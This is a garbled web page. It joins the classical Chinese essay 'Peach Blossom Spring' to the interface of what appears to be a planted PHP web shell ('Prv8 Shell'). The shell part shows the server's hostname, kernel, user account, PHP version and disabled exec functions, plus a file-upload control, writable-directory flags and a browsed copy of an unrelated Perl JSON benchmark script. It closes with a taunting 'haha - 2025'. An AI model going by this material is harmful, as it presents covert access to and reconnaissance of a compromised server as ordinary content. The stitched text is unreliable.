晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/perl-JSON-XS/eg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-JSON-XS/eg/bench
#!/usr/bin/perl

# Usage: bench json-file

# which modules to test (JSON::PP usually excluded because its so slow)
my %tst = (
#   "JSON"          => ['JSON::encode_json $perl'  , 'JSON::decode_json $json'],
   "JSON::PP"      => ['$pp->encode ($perl)'      , '$pp->decode ($json)'],
   "JSON::DWIW/FJ" => ['$dwiw->to_json ($perl)'   , '$dwiw->from_json ($json)'],
   "JSON::DWIW/DS" => ['$dwiw->to_json ($perl)'   , 'JSON::DWIW::deserialize $json'],
#   "JSON::PC"      => ['$pc->convert ($perl)'     , '$pc->parse ($json)'],
   "JSON::Syck"    => ['JSON::Syck::Dump $perl'   , 'JSON::Syck::Load $json'],
   "JSON::XS"      => ['encode_json $perl'        , 'decode_json $json'],
   "JSON::XS/2"    => ['$xs2->encode ($perl)'     , '$xs2->decode ($json)'],
   "JSON::XS/3"    => ['$xs3->encode ($perl)'     , '$xs3->decode ($json)'],
   "Storable"      => ['Storable::nfreeze $perl'  , 'Storable::thaw $pst'],
);

use JSON ();
use JSON::DWIW;
use JSON::PC;
use JSON::PP ();
use JSON::XS qw(encode_json decode_json);
use JSON::Syck;
use Storable ();

use Time::HiRes;
use List::Util;

use utf8;

my $dwiw = new JSON::DWIW;
my $pc   = new JSON::PC;
my $pp   = JSON::PP->new->max_depth (512);
my $xs2  = JSON::XS->new->utf8->pretty->canonical;
my $xs3  = JSON::XS->new->utf8->shrink;

my $json; # the test string

local $/;
$json = <>;

# fix syck-brokenised stuff
#$json = JSON::XS->new->ascii(1)->encode (JSON::Syck::Load $json);

#srand 0; $json = JSON::XS->new->utf8(1)->ascii(0)->encode ([join "", map +(chr rand 255), 0..2047]);

#if (1) {
#   use Storable;
#   open my $fh, "<:unix", "/opt/crossfire/share/cfserver/faces" or die "$!";
#   my $faces = Storable::thaw do { <$fh> };
#   $json = objToJson $faces;
#   open my $fh2, ">:unix", "faces.json" or die "$!";
#   print $fh2 $json;
#   warn length $json;
#}

sub bench($) {
   my ($code) = @_;

   my $pst  = Storable::nfreeze JSON::XS::decode_json $json; # seperately decode as storable stringifies :/
   my $perl = JSON::XS::decode_json $json;

   my $count = 5;
   my $times = 200;

   my $cent = eval "sub { my \$t = Time::HiRes::time; " . (join ";", ($code) x $count) . "; Time::HiRes::time - \$t }";
   $cent->();

   my $min = 1e99;

   for (1..$times) {
      my $t = $cent->();

      $min = $t if $t < $min;
   }

   return $count / $min;
}

printf "%-13s | %10s | %10s |\n", "module", "encode", "decode";
printf "--------------|------------|------------|\n";
for my $module (sort keys %tst) {
   my $enc = bench $tst{$module}[0];
   my $dec = bench $tst{$module}[1];

   printf "%-13s | %10.3f | %10.3f |\n", $module, $enc, $dec;
}
printf "--------------+------------+------------+\n";


haha - 2025